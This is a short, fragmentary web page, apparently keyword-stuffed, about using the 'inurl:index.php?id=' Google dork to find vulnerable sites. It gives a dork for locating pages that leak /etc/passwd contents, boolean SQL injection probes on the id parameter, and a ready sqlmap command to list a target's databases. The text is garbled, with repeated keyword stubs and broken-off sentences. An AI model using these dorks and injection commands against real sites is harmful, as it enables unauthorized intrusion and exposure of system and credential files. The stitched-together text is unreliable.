Inurl Index.php%3fid= [BEST]
inurl:index.php%3Fid= filetype:php intext:"root:" | "bin/bash"
Looks for file inclusion of /etc/passwd.
If the id value is echoed back onto the page without sanitization. inurl index.php%3Fid=
index.php?id=1 AND 1=1 (normal)
index.php?id=1 AND 1=2 (should differ or error)
Use sqlmap responsibly:
sqlmap -u "http://target.com/index.php?id=1" --dbs --batch
Some lazy developers allow the id parameter to load physical files. inurl:index
